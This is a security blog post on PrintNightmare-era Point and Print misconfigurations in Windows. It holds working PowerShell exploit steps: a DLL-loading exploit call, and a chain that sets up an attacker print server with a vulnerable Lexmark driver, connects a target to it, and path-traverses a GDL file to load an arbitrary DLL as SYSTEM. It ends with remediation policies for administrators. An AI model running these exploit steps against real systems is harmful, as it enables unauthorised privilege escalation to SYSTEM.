Post

A Practical Guide to PrintNightmare in 2024

Although PrintNightmare and its variants were theoretically all addressed by Microsoft, it is still affecting organizations to this date, mainly because of quite confusing group policies and settings. In this blog post, I want to shed a light on those configuration issues, and hopefully provide clear guidance on how to remediate them.

“PrintNightmare” and “Point and Print”

Unless you’ve been living under a rock for the past 3 years, you should have heard about “PrintNightmare”, but I’ll begin with a quick recap to make sure we are on the same page.

Originally, “PrintNightmare” was the name given to a vulnerability in the Print Spooler service which could be exploited to achieve Remote Code Execution (RCE) or Local Privilege Escalation (LPE) on a Windows host, provided that an attacker had obtained network access and domain credentials, or gained local access in the context of a regular user. This turned out to be a real “nightmare” because this finding eventually led to the discovery of multiple variants of the same initial flaw, in part resulting from incomplete patches.

More specifically, the problematic feature is “Point and Print”. According to Microsoft, Point and Printrefers to the capability of allowing a user to create a connection to a remote printer without providing disks or other installation media”. In other words, it allows allowed you to add a printer, either directly or through a print server, and install its driver automatically, all without requiring admin privileges, the aim being to provide a plug-and-play experience to the end users.

Point and Print Point and Print

Since Windows Vista, printer drivers can only be user-mode drivers. As stated in the documentation, if an application attempts to install a kernel-mode driver, “The AddPrinterDriver and AddprinterDriverEx functions will fail with the error code ERROR_KM_DRIVER_BLOCKED”. That being said, it does not prevent printer vendors from distributing regular kernel-mode drivers, alongside their user-mode printer drivers, if they deem necessary.

When adding a printer, an associated printer driver is required to be installed. This driver can be either “non package aware” or “package aware”. This notion of package aware drivers was first introduced in Windows Vista.

It is possible to see whether a printer driver is “package aware” thanks to the “Print Management” MMC snap-in, or simply using PowerShell.

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\Administrator> Get-PrinterDriver | select Name,IsPackageAware

Name                                                    IsPackageAware
----                                                    --------------
Microsoft XPS Document Writer v4                                  True
Microsoft Print To PDF                                            True
Microsoft enhanced Point and Print compatibility driver           True
Lexmark Universal v2                                              True
Canon MX920 series Printer                                        True
Canon MX920 series FAX                                           False
Brady BBP11-24L                                                   True
Microsoft enhanced Point and Print compatibility driver           True

As can be seen on the command output above, “package aware” drivers are way more common than their “non package aware” counterparts nowadays.

This difference is essential because it determines what type of configuration needs to be applied to the “Point and Print” feature in order to allow users to install printers, as we will see in the next parts.

Point and Print restricted to administrators

Following the PrintNightmare saga, Microsoft decided to address the problem globally by restricting the installation of printer drivers to administrators only, but with the possibility for system administrators to override this policy when necessary. This has been the default behavior since August 10, 2021.

For organizations that didn’t anticipate this change, the consequence was that some users were no longer able to print from their Windows PC. For example, when attempting to add a shared printer with a package aware driver from the “Printers & scanners” settings, you would get the following error message.

Printer installation failed Printer installation failed

The error #740 is a standard Win32 error code that translates to “The requested operation requires elevation”. In other words, administrator privileges are required if you want to add a remote printer.

Error code 740 Error code 740

Therefore, to allow regular users to install a shared printer, the policy Limits print driver installation to Administrators (Computer Configuration > Policies > Administrative Templates > Printers) must be disabled, as mentioned earlier.

This configuration is unsafe!

Configuring the policy "Limits print driver installation to Administrators" Configuring the policy “Limits print driver installation to Administrators”

When this setting is applied to the target workstations, the following value is created (or updated) in the registry.

1
2
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators -> 0 (= Disabled)

If the value RestrictDriverInstallationToAdministrators doesn’t exist or is set to 1, the installation of printer drivers is restricted to administrators only.

If we try to add our printer again, it works!

Installing a printer using a package aware driver Installing a printer using a package aware driver

But what about printers using non package aware drivers? Well, in that case, we will be presented with a different dialog box, which ultimately results in a UAC prompt being displayed upon clicking “Continue”.

Attempting to install a non package aware printer driver Attempting to install a non package aware printer driver

If we don’t have administrator privileges, we have no other choice but to abort the operation, which results in the printer failing to install.

Point and Print restrictions

In the context of an organization, if users cannot install printers that come with non package aware drivers, this could be a problem. Therefore, it might be tempting to disable the prompt we saw earlier by configuring the Point and Print Restrictions policy.

More specifically, this policy contains two settings governing security prompts.

  • When installing drivers for a new connection
  • When updating drivers for an existing connection

By setting these values to “Do not show warning or elevation prompt”, we can disable the prompts, and thus obtain a behavior similar to package aware drivers.

This configuration is highly unsafe, as we will see shortly!

Disabling Point and Print security prompts Disabling Point and Print security prompts

Applying this policy on the target machines will result in the following values being set in the registry.

1
2
3
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
NoWarningNoElevationOnInstall -> 1 (= Do not show warning or elevation prompt)
UpdatePromptSettings -> 2 (= Do not show warning or elevation prompt)

If the values NoWarningNoElevationOnInstall and UpdatePromptSettings don’t exist, or are set to 0, the security prompts are always shown.

And if we try to add our printer again, it works! We now have a configuration that allows users to install both package aware and non package aware printer drivers.

Installing a printer using a non package aware drive Installing a printer using a non package aware driver

PrintNightmare is back! :ghost:

If you were to disable the Point and Print security prompts as described previously, you would allow users to install non package aware printer drivers, but you would also make the machine vulnerable to the original PrintNightmare exploit. This is documented in the KB article KB5005010.

Warning about Point and Print security prompts settings Warning about Point and Print security prompts settings

A vulnerable Point and Print configuration would be as follows.

  • The setting RestrictDriverInstallationToAdministrators is set to 0, so that users can install printer drivers.
  • The setting NoWarningNoElevationOnInstall is set to 1, so that no elevation prompt is shown when installing a printer driver.

Disabling security prompts renders other settings completely useless. So, even if you set a list of approved servers, or if you limit Point and Print to machines in the forest, the machine will still be vulnerable.

In this configuration, the exploitation is straightforward. It basically comes down to calling AddPrinterDriverEx with the appropriate flags, and passing a DRIVER_INFO structure containing the absolute path of a DLL that will be loaded by the Print Spooler service.

You will find many exploits online, but the one I would recommend is the PowerShell script CVE-2021-34527.ps1 developed by Caleb Stewart and John Hammond. You can either let the script use its embedded DLL (which creates a new local administrator account when loaded), or pass the absolute path of your own DLL. Alternatively, you could also use my own script PointAndPrint.ps1, which is highly inspired by theirs.

1
2
. .\PointAndPrint.ps1
Invoke-PointAndPrintExploit -DllPath "$HOME\Downloads\payload.dll"

It’s important to specify an absolute path, and preferably on the local file system. The reason for this is that the DLL’s path will be interpreted in the context of the Print Spooler service, by the LocalSystem account. Therefore, a relative path is likely to point to a location that is different from yours, and your network paths (e.g. mounted file shares) might not even be accessible.

Below is a short video showing the exploit. Here, I used a DLL that simply spawns a new cmd.exe process on the current user’s desktop.

It should be noted that, when the exploit is successful, the payload DLL is copied to the system folder. My version of the exploit uses the flag DPD_DELETE_UNUSED_FILES when calling DeletePrinterDriverEx in order to let the Print Spooler service delete the file automatically.

In summary, if the Point and Print security prompts are disabled, a local attacker can simply load an arbitrary DLL in the context of the Print Spooler service. This is the easiest exploit variant, and it works even if a list of approved Point and Print servers is configured!

Package Point and Print

Now, let’s rewind a bit, and say that we didn’t disable the security prompts. In other words, we assume that the policy “Limits print driver installation to Administrators” is disabled, and all the other settings are left untouched so that default values are applied.

In these conditions, we saw that we cannot install a non package aware printer driver, but we can leverage Package Point and Print to install a printer shared by a print server. To better understand what happens when we do that, we fist need to take a look at the list of default printer drivers (see screenshot below).

List of default printer drivers List of default printer drivers

Knowing this, it is indeed easier to show that the Print Spooler downloads the appropriate driver from the remote print server, and installs it locally. The screenshot below shows a Canon driver being automatically installed in the background.

A printer driver being automatically installed A printer driver being automatically installed

Basically, we asked the Print Spooler to connect to a remote print server, and it loaded a driver from this location. So, if we instead coerce it to connect to a server we control, we should be able to make it load a custom driver and thus execute arbitrary code as NT AUTHORITY\SYSTEM, right?

As you may imagine, it’s not that simple. In the article Point and Print with Driver Packages, you can read that “Driver signing and driver integrity are checked on the print client”. Furthermore, in the article Use Group Policy settings to control printers in Active Directory, you can also read that “When using package point and print, client computers will check the driver signature of all drivers that are downloaded from print servers”.

In the case of our Canon driver, we can see that it has a WHQL signature because the EKU field of its certificate contains the OID 1.3.6.1.4.1.311.10.3.5. This means that it went through a validation process before being digitally signed by Microsoft.

A printer driver signature A printer driver signature

If you open the properties of a printer driver’s binary file (e.g. one of its DLLs), you won’t find any signature. That’s because, “A WHQL release signature consists of a digitally-signed catalog file” (see WHQL Release Signature). In the example above, this file is MX920P6.cat.

In short, although we can point to any server, we cannot load a custom driver because of signing requirements. One could argue that it is not impossible to build a malicious driver and still pass the WHQL validation, but there is a much simpler solution.

Bring your own vulnerable printer driver

When it comes to bypassing advanced protections such as Protected Processes or Endpoint Detection and Response (EDR) solutions, a now well known technique called “Bring Your Own (Vulnerable) Driver” is often employed. For instance, tools such as PPLKiller or EDRSandBlast leverage legitimate drivers that provide read/write access to the Kernel in order to circumvent security mechanisms by altering data that is essential to their functioning.

Although printer drivers are not kernel-mode drivers, the same concept can be applied to Package Point and Print, for a slightly different purpose. Rather than leveraging administrator privileges to access the kernel, we want to gain those administrator privileges.

To do that, we will first need to set up a print server and share a fake printer that uses a legitimate but vulnerable driver. Then, we will leverage Package Point and Print to coerce the Print Spooler service to install this driver on the target. Finally, we will exploit it to gain LocalSystem privileges.

Downloading a vulnerable printer driver Downloading a vulnerable printer driver

This particular attack was implemented by @Junior_Baines in a turnkey tool called Concealed Position. The project consists of a single executable that embeds both a server and a client, and a collection of four vulnerable printer drivers.

There are at least two main issues that make it hardly usable nowadays though. First and foremost, it is flagged as malicious, so it cannot be easily run without modifying the code, or at least packing the executable. Second, it relies on anonymous access to the print$ share, which is likely to be blocked because of restrictions enforced in some recent versions of Windows.

To solve these issues, I split the exploit chain into three steps that I reimplemented in PowerShell for easier reproducibility. Step 1 (in red) and step 2 (in blue) are already illustrated on the previous diagram.

  1. ATTACKER (as an administrator): create a fake shared printer using a vulnerable printer driver.
  2. TARGET (as a regular user): add the remote shared printer to trigger the installation of its driver locally.
  3. TARGET (as a regular user): exploit the printer driver to gain LocalSystem privileges.

Lastly, as I mentioned previously, Concealed Position offers exploits for four vulnerable drivers. Though, for the sake of the demonstration, I selected only one: “ACIDDAMAGE”. It exploits a basic file permission issue in a Lexmark driver (CVE-2021-35449), as we will see further down.

1. Creating a fake shared printer (Attacker)

We first need to download and install a known vulnerable printer driver, such as the Lexmark one, on our machine. Then, we will use the PowerShell cmdlets Add-PrinterDriver and Add-Printer to create the fake shared printer. All the necessary commands are shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$DriverUrl = "https://github.com/jacob-baines/concealed_position/raw/main/cab_files/ACIDDAMAGE/LMUD1o40.cab"
$Username = "user"
$Password = "P@ssw0rd"
$SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force
New-LocalUser -Name $Username -Password $SecurePassword | Out-Null
# Download the CAB file containing the vulnerable driver.
Invoke-WebRequest -Uri $DriverUrl -OutFile ".\LMUD1o40.cab"
# Create the directory that will contain the extracted files.
New-Item -Path ".\ACIDDAMAGE\" -ItemType Directory | Out-Null
# Expand the CAB file in the output directory.
expand.exe ".\LMUD1o40.cab" -F:* ".\ACIDDAMAGE" | Out-Null
# Install the printer driver.
pnputil.exe /add-driver ".\ACIDDAMAGE\LMUD1o40.inf" /install
# Add it as a printer driver.
Add-PrinterDriver -Name "Lexmark Universal v2"
# Create a shared printer that uses this printer driver.
Add-Printer -Name "ACIDDAMAGE" -DriverName "Lexmark Universal v2" -PortName "LPT1:" -PrintProcessor "WinPrint" -Datatype "RAW" -Shared
# Enable File and Printer Sharing firewall rules (optional if your firewall is
# disabled).
# https://learn.microsoft.com/en-us/powershell/module/netsecurity/enable-netfirewallrule#example-1
Enable-NetFirewallRule -Group "@FirewallAPI.dll,-28502"

Here is a short video showing all the set-up.

The code snippet below shows all the commands necessary to restore your machine to its original state, once you no longer need the shared printer. They should be self-explanatory.

1
2
3
4
5
6
7
8
Disable-NetFirewallRule -Group "@FirewallAPI.dll,-28502"
Remove-Printer -Name "ACIDDAMAGE" -Verbose
Restart-Service -Name "Spooler" -Force
Remove-PrinterDriver -Name "Lexmark Universal v2" -Verbose
pnputil.exe /delete-driver "oem20.inf" /uninstall
Remove-Item -Path ".\ACIDDAMAGE\" -Recurse -Force
Remove-Item -Path ".\LMUD1o40.cab" -Force
Remove-LocalUser -Name $Username

2. Installing the vulnerable printer driver (Target)

On the client side (i.e. the target), we should now be able to execute the following commands to connect to the shared printer and coerce the Print Spooler service to download and install the vulnerable printer driver locally.

1
2
3
4
5
6
7
8
9
10
11
12
13
$Server = "192.168.200.226" # IP or hostname of the attacker's machine
$Username = "user"
$Password = "P@ssw0rd"
$PrinterName = "\\$($Server)\ACIDDAMAGE"

# Store remote user credentials in the credential manager
cmdkey.exe /add:$Server /user:$Username /pass:$Password
# Add the shared printer
Add-Printer -ConnectionName $PrinterName

# Cleanup
Remove-Printer -Name $PrinterName
cmdkey.exe /delete:$Server

The built-in tool cmdkey.exe stores the credentials in the Credential Vault, so that Windows can authenticate against the attacker’s server transparently. I tried several other solutions, but this option seemed the simplest and the most reliable.

If all goes well, the output of each command should be empty, and the printer driver “Lexmark Universal v2” should appear in the list of installed drivers. You can double check using the command Get-PrinterDriver -Name "Lexmark Universal v2" if you wish.

Connecting to the fake shared printer from the target machine Connecting to the fake shared printer from the target machine

At this stage, you can remove the fake printer on both client and server sides as we no longer need it.

3. Exploiting the printer driver (Target)

Here comes the fun part! Now that the vulnerable printer driver is installed on the target, we want to exploit it to gain LocalSystem privileges.

The very first thing to do is create a dummy printer that uses this driver. This can be achieved through the AddPrinter Win32 API, which I wrapped in a PowerShell cmdlet.

1
2
3
4
5
6
7
8
9
. .\PointAndPrint.ps1
$PrinterInfo = New-Object $PRINTER_INFO_2
$PrinterInfo.PortName = "LPT1:"
$PrinterInfo.DriverName = "Lexmark Universal v2"
$PrinterInfo.PrinterName = "ACIDDAMAGE"
$PrinterInfo.PrintProcessor = "WinPrint"
$PrinterInfo.DataType = "RAW"
$PrinterInfo.Attributes = 0x00001000 + 0x00000020
$PrinterHandle = Add-WinSpoolPrinter -PrinterInfo $PrinterInfo

Creating a printer using a vulnerable Lexmark driver Creating a printer using a vulnerable Lexmark driver

When doing that, a folder named Lexmark Universal v2 is created in C:\ProgramData\, and an explicit DACL is set to grant Full Control to Authenticated Users and Guests. In this folder, a file named Universal Color Laser.gdl can be found.

GDL stands for Generic Description Language. A GDL file is an XML-based document that basically describes the driver, its components, and its dependencies.

The part of the GDL file we are interested in is highlighted below. As you can see, it references DLL filenames!

1
2
3
4
5
6
7
8
9
<!-- ... -->
<CONSTRUCT Name="*Feature" Instance="RESDLL">
    <!-- ... -->
    <CONSTRUCT Name="*Option" Instance="COMMON_RESDLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD1OUE.DLL</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <!-- ... -->
</CONSTRUCT>
<!-- ... -->

This GDL file is parsed when creating a printer that uses this driver. Since we have Full Control, we can modify it, and inject ..\ characters to perform a basic path traversal attack, as shown below.

1
2
3
<CONSTRUCT Name="*Option" Instance="COMMON_RESDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">..\..\..\..\..\..\foo123.DLL</GDL_ATTRIBUTE>
</CONSTRUCT>

Next, we need to remove our previously created printer, because we want to coerce the Print Spooler service to recreate it using this modified version of the GDL file.

1
2
3
4
5
6
7
# Remove the previously created printer.
Remove-WinSpoolPrinter -PrinterHandle $PrinterHandle
Close-WinSpoolPrinter -PrinterHandle $PrinterHandle
# Create the dummy printer again to trigger the arbitrary DLL load.
$PrinterHandle = Add-WinSpoolPrinter -PrinterInfo $PrinterInfo
Remove-WinSpoolPrinter -PrinterHandle $PrinterHandle
Close-WinSpoolPrinter -PrinterHandle $PrinterHandle

Using Process Monitor in the background, we can see that the driver installer indeed tries to access the file C:\foo123.dll, which does not exist in this case, but you get the point. By adjusting the path, we will be able to make it load a DLL from an arbitrary location.

Triggering an arbitrary DLL load Triggering an arbitrary DLL load

Although this exploit is trivial, it requires a few more steps than the two previous stages, so I automated everything in my PowerShell script PointAndPrint.ps1. Running it is very simple, you just have to pass the path of your DLL through the -DllPath option. This time, it doesn’t matter if the path is relative or absolute since the file will be copied to a location chosen by the script.

1
2
. .\PointAndPrint.ps1;
Invoke-PrinterDriverExploit -DllPath "$HOME\Downloads\payload.dll"

Below is a video showing the exploit script in action. As you will see, the DLL is loaded multiple times (12 in my case), so keep that in mind when crafting your payload.

No need to say that you will have to manually remove the installed driver once you have obtained LocalSystem privileges, otherwise the machine will remain vulnerable.

1
2
3
4
Get-PrinterDriver -Name "Lexmark Universal v2" # This should return the vulnerable driver.
Remove-PrinterDriver -Name "Lexmark Universal v2"
pnputil.exe /delete-driver "oem20.inf" /uninstall
Get-PrinterDriver -Name "Lexmark Universal v2" # This should throw an exception.

Fixing our Point and Print configuration

It’s all well and good, but how do we configure our system to prevent this kind of attack? The most straightforward way would be to just get rid of the Print Spooler service altogether by disabling it. But of course, here we assume that allowing users to install and use printers is a requirement. So how do we do that safely?

The answer lies in a couple of Group Policies in Computer Configuration > Policies > Administrative Templates > Printers:

By enabling the policy Only use Package Point and print and configuring the policy Package Point and print - Approved servers, the Print Spooler service will only accept to install signed printer drivers from trusted servers.

With such a configuration, attempts to connect to a malicious shared printer will result in the following error.

Attempting to install a malicious printer before and after configuring a list or approved servers Attempting to install a malicious printer before and after configuring a list or approved servers

And when trying to install a non package aware printer driver, the following exception will be raised. The error message is rather generic, but the error code 0x800704ec translates to ERROR_ACCESS_DISABLED_BY_POLICY.

Attempting to install a non package aware printer driver Attempting to install a non package aware printer driver

Key takeaways

I will conclude this blog post with a recap that will hopefully provide clear guidance to both system administrators and offensive security consultants.

First of all, as an administrator, the one key thing to keep in mind is that “There is no combination of mitigations that is equivalent to setting RestrictDriverInstallationToAdministrators to 1” (i.e. Enabled), as pointed out by Microsoft in the KB article KB5005652, which is also the default behavior on up-to-date machines.

However, if you do need to allow domain users to install shared printers, you will have to disable this policy. In this case, the following configuration offers the best compromise between usability and security.

For Package Point and Print to work as intended, printers must be set up with package aware drivers.

Finally, the following flowchart should provide a better overview of those group policies, and how an improper configuration could lead to local privilege escalation.

Point and Print configuration flowchart Point and Print configuration flowchart Point and Print configuration flowchart

This post is licensed under CC BY 4.0 by the author.